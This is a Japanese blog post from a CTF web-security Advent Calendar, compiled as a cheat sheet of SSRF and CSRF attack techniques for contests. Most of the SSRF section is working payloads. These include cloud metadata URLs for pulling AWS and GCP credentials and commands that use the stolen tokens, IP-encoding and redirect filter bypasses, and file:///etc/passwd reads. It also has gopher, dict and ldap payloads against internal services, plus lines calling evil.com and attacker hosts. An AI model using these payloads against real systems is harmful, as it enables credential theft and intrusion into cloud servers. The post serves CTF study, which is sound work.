この記事はCTFのWebセキュリティ Advent Calendar 2021の11日目の記事です。
本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト（CTF）で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。
- SSRF: Server Side Request Forgery
- サーバ側の権限で任意の操作を行わせる攻撃。サーバ側に特定のURLを踏ませることで発動
- 脆弱性が発生する場所
- webhook
- gitlabとかslackで例がある
- 資料
- CSRF: Cross Site Request Forgery
- クライアント側の権限で任意の操作を行わせる攻撃。特定のユーザーに特定のURLを踏ませることで発動
- 脆弱性が発生する場所
- アクセスするだけで何かしらの操作が働く所全て
- 資料
SSRF
攻撃窓口
- nginx
- https://qiita.com/no1zy_sec/items/2718f4a99bb8368ac374
- 関連リンクにもあるが、nginxの設定によって色々な脆弱性があるっぽい
- PHPのcurl関数
- XXE脆弱性を使ってSSRFで情報を抜き出す方法
- Apache mod_security
- WAF(:Web Application Firewall)
- 設定ミスでサーバへのリクエスト結果を返すようになっていた
- https://piyolog.hatenadiary.jp/entry/2019/08/06/062154
- ヘッドレスブラウザ
- Puppeteerとか
- サーバ側でヘッドレスブラウザを利用している場合にSSRFを使える場合がある
- https://www.mbsd.jp/blog/20190605.html
- ここで色々紹介されてる。色々ある
- サーバサイドレンダリングの導入から生じるSSRF｜セキュリティブログ
- サーバサイドからのリクエストでHostヘッダーを使うような実装が多く見られ、SSRFにつながる
狙われる情報
- クラウドの認証情報
- AWSにおいてIAM Roleの認証情報がEC2メタデータを取得することで得られる(169.254.169.254)
- https://docs.aws.amazon.com/ja_jp/AWSEC2/latest/UserGuide/ec2-instance-metadata.html
- AWS CLIを使っているとサーバのローカルにデータが残っている場合もある（ディレクトリトラバーサルとかで抜かれる）
http://169.254.169.254/latest/meta-data/hostname/http://169.254.169.254/latest/meta-data/iam/security-credentials/http://169.254.169.254/latest/meta-data/iam/security-credentials/rolehere- SSRF to fetch AWS credentials with full access to multiple services | by Zonduhackerone | Feb, 2021 | Medium
{ "Code" : "Success", "LastUpdated" : "2021-01-26T23:02:52Z", "Type" : "AWS-HMAC", "AccessKeyId" : "REDACTED", "SecretAccessKey" : "REDACTED", "Token" : "REDACTED==", "Expiration" : "2021-01-27T05:06:28Z" }ときたら、export AWS_ACCESS_KEY_ID="REDACTED" export AWS_SECRET_ACCESS_KEY="REDACTED" export AWS_SESSION_TOKEN="REDACTED"として、aws s3 ls aws ec2 describe-security-groups --region eu-west-2 aws ec2 describe-instances --region eu-west-2 aws ec2 describe-vpcs --region eu-west-2 aws ec2 describe-images --region eu-west-2とする
- SSRF to fetch AWS credentials with full access to multiple services | by Zonduhackerone | Feb, 2021 | Medium
- GCE,GKE
- PayloadsAllTheThings/README.md at master · swisskyrepo/PayloadsAllTheThings · GitHub
- 使えるか確認したいとき
http://metadata/computeMetadata/ /v1beta1/はヘッダーを必要としない- SSRF脆弱性を利用したGCE/GKEインスタンスへの攻撃例
- 塞がれててうまく行かないときもある
/v1/はMetadata-Flavor: Googleというヘッダーを作る必要がある- urllibではヘッダーインジェクションが使える場合があり、これで無理矢理ヘッダーを埋め込む
http://metadata/computeMetadata/v1/instance/service-accounts/default/token HTTP/1.1\r\nMetadata-Flavor: Google\r\nGarbage:でtokenを取得するhttp://metadata/computeMetadata/v1/project/project-id HTTP/1.1\r\nMetadata-Flavor: Google\r\nAuthorization: Bearer [TOKEN]\r\nGarbage:でトークンを使ってProjectIDを持ってくるcurl -H "Authorization: Bearer [TOKEN]" 'https://www.googleapis.com/storage/v1/b?project=[ProjectID]で中身を取ってくる。そこにstorageのselfLinkがある。curl -H "Authorization: Bearer [TOKEN]" [selfLink]/o/でファイル一覧が出てくるので、撮って期待ファイルのmediaLinkを使ってダウンロードしてくる。curl -H "Authorization: Bearer [TOKEN]" [mediaLink] --output outでoutというファイル名で取得可能
- 問題
- 注意すべきペイロードをまとめた有用まとめもある
- AWSにおいてIAM Roleの認証情報がEC2メタデータを取得することで得られる(169.254.169.254)
- すごいまとめ A Glossary of Blind SSRF Chains – Assetnote
- 他サービス
- Redis: Port 6379
- HashiCorp Consul: Port 8500
- In case of Response based XXE, we can use unauthenticated DB API calls such as Couch DB API, Mongo DB.
- Memcached - Port 11211
- Zabbix - Port 10050
- Solr - Port 8983
テク
- ホスト名・IPアドレスのチェック
- parse_url関数でホスト名を騙すバグがある
- ホスト名からIPアドレスをチェックするときにもいろんな問題があるので注意
- ネットワーク的な保護
- iptables、つまりファイアーウォールでアクセスさせたくない領域へのアクセスを遮断
- IPv4 - Wikipedia
- ここにあるようにdecimalにして送るのもある
- e.g. http://192.0.2.235 -> http://3221226219
- IPv4 - Wikipedia
- iptables、つまりファイアーウォールでアクセスさせたくない領域へのアクセスを遮断
- Orange Tsai氏によるURLパーサへの攻撃
- ホスト名をすり抜ける手法
- IPアドレスを16進数にしたりUTFにしたりしてすり抜ける
- 10進数にしてbypassする方法もある
- https://www.corben.io/hackertarget/
- bit.lyを噛ませる
- xip.io: wildcard DNS for everyoneで適当にドメインを噛ませる
- IPアドレスを16進数にしたりUTFにしたりしてすり抜ける
- そのままパスを指定して持ってくるものもあった
/etc/passwd - 相手に任意のurlリクエストを実行してほしい場合
- 普通に作って普通に送ればいいのだが、中に+が含まれている場合は要注意。
- URLでは+は空白とみなされるので、+が含まれる場合、%2Bにあらかじめ変換して送る必要がある。
- javascriptスキーム
- URLチェックをしてないと、javascriptスキームが使えるかもしれない
- CTFのXSS問題によくあるクローラが起動するタイプだと、クローラで任意のjsコードを実行させることができてしまう
- SECCON 2020 Online CTF の write-up - st98 の日記帳
- vbscript等が代表的な脅威
- 未整理だが面白そうなもの
- Ssrf - CTF Wiki
- octal format
0300.0250.0.1みたいな感じ127.0.0.1は0177.0.0.1となる
- octal format
- localhostとかがフィルタリングされてる場合に、localhostへのリダイレクトをするようなサイトへアクセスさせるとURL的には外部サイトやけど、最終的にはlocalhostに遷移させることができるテク
- SSRFチェック
http://localhost:22でSSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u4みたいな応答が帰ってくればSSRFされてる可能性がある
- httpsしか許容しない場合
file:///etc/passwd#https://のようにハッシュを使うことでバイパスできるかも - puppeteer経由でLFI
- HTMLをレンダリングしているような場合にLFIできるかも（PDF作成とか）
<iframedoc src="file:///etc/passwd"><style>@import{ "file:///net/MYSERVER.COM/a.css"} </style><p id=x style=word-wrap:break-word;><script>x.innerHTML=document.URL;</script>- SSRF on PDF generator.. Hello, How are you guys doing? This is… | by John Michael Mondilla | Medium
<iframe/src="http://sub-domain.mydomain.com/elmah.axd">
- リダイレクトして表示させる方法もある
<script>location.href = "/etc/passwd";</script>を作って踏ませる。
- SSRFを発見したら…
- クラウドの認証情報が抜けないか探す
- ポートスキャン
http://127.0.0.1:22/-> Recv failure: Connection reset by peerhttp://127.0.0.1:4444
- Make SSRF Great Again
- prerenderというjavascriptをあらかじめ実行して静的サイトに変換して返すサービスがある
- Asian Cyber Security Challenge (ACSC) write-up - Qiita
<script>location.href="http://api:8000/";</script>というサイトを踏ませれば、prerenderをしてくれるサーバ上から任意のURLを踏ませることができる- かつ、その内容が返ってくる
- localhost系の書き方色々
- https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery#bypass-restrictions
- https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery#bypass-restrictions
- Domain FUZZ bypass (from https://github.com/0x221b/Wordlists/blob/master/Attacks/SSRF/Whitelist-bypass.txt)
- An exciting journey to find SSRF , Bypass Cloudflare , and extract AWS metadata ! | by hosein vita | Jun, 2021 | Medium
Blind SSRF
ポートスキャンからRCEへ
https://[burp-colab-url]/でBlind SSRFがあるかを確認- プロトコルスキャン
gophar://[burp-colab-url]/のようにプロトコルを変化させて、どのプロトコルが使用可能かを確認する- https以外認めてないことがよくあるので、最初から適当にリダイレクタをかませて確認するのがオススメ
dict://- dict://
; @ : /d: : : - dict://attacker:11111/
- dict://127.0.0.1:1337/stats
- dict://
- gopher://
ftp://ftp://127.0.0.1/file://file:///etc/passwd file://\/\/etc/passwdldap://ldap://localhost:11211/%0astats%0aquit- ldap://127.0.0.1:389/%0astats%0aquit
ldaps:とldapiもある
sftp://sftp://evil.com:11111/tftp://tftp://evil.com:12346/TESTUDPPACKET- netdoc:///etc/passwd
- Server-Side Request Forgery (SSRF) & the Cloud Resurgence | AppCheck
- UNCという手もあるっぽい
- ポートスキャン
- gopharが使える場合は、それを使ってポートスキャン
gophar://127.0.0.1:[post]/- ポートが開いているなら早く応答が帰り、そうでないならタイムアウトまで待って応答が返ってくる
- デフォルトで、Memcached、Redis、Elasticsearch、MongoDBなどのサービスは認証を必要としない。攻撃者はSSRFでこれらのサービスの一部にアクセスできる
- SMTP
- 攻撃する
- gopharであれば、ポートによってはリバースシェルを仕込める
- これはgopherはURLの形をとっているが、自由にHTTPリクエストを送信することができるので、色々できてしまう
gopher://<host>:<port>/<gopher-path>とやると、host:portにパケットを送れるgopher://localhost:31337/1aaa%0d%0abbb%0d%0acccとやると、localhost:31337に対して、aaa%0d%0abbb%0d%0acccが送れるgopher://localhost:5000/+GET%20/%20HTTP/1.1%0d%0aHost:%20localhost:5000%0d%0a%0d%0aとすれば、localhost:5000へHTTPリクエストを送信可能
- tarunkant/Gopherus: This tool generates gopher link for exploiting SSRF and gaining RCE in various servers
- MySQL (Port-3306)
- PostgreSQL(Port-5432)
- FastCGI (Port-9000)
- Memcached (Port-11211)
If stored data is getting De-serialized by:
* Python * Ruby * PHP - Redis (Port-6379)
gopher://redis:6379/+GET%20FLAG%0d%0aQUIT%0d%0aとすればFLAGをキーとする値が取れる
- Zabbix (Port-10050)
- SMTP (Port-25)
- Jira (default port-8080)
http://jira.company.internal:8080/plugins/servlet/oauth/users/icon-uri?consumerUri=[ssrf-url]
- Confluence (default port-8090)
http://confluence.company.internal:8090/plugins/servlet/oauth/users/icon-uri?consumerUri=[ssrf-url]
- これはgopherはURLの形をとっているが、自由にHTTPリクエストを送信することができるので、色々できてしまう
- assetnote/blind-ssrf-chains: An exhaustive list of all the possible ways you can chain your Blind SSRF vulnerability
とても参考になる攻撃例
From blind XXE to root-level file read access – Honoki
いろんな要素を組み合わせてRCEにつなげている。
- XMLが出力されているエンドポイントではGETをPOSTに変えてxml入力ができるかも
- XMLが入力できたらSSRFを試してみる
- もし外部ネットワークへの接続ができない場合でも、SSRF脆弱性のある内部で動いているアプリケーションを経由すると接続できるかも
CSRF
- CSRFトークン発行APIがキャッシュされていたら同じURLを踏むことでCSRFトークンが流出するかも
- CTFtime.org / SECCON 2020 Online CTF / Milk
- レースコンディションで使われる前に使っちゃう手もある
- CSRFトークンが複数箇所で使用されている場合
- ある場所で発行されたCSRFトークンがすべての場所で共有されている可能性
- 地点Aで発行されて
- ある場所で発行されたCSRFトークンがすべての場所で共有されている可能性
- トークンは使用後にexpireすること
- OAuthでもCSRFトークンが使われる
- CSRFトークンは128bits以上のエントロピーのものを使うこと
- OAuth2.0ではRFCに明記されてる
- StachExchangeによると、de-facto standardという記事がある
- Mitre CWE-6のPotential Mitigationsに記載がある
- CSRFトークンが別のアカウントで作ったものが他でも使えてしまう
- CSRFトークンを消したらなぜか動かないか？
- CSRFトークンをデコードしてみよう
- CSRFトークンが実は静的
- HTML Injectionで抜き出す
- CTF
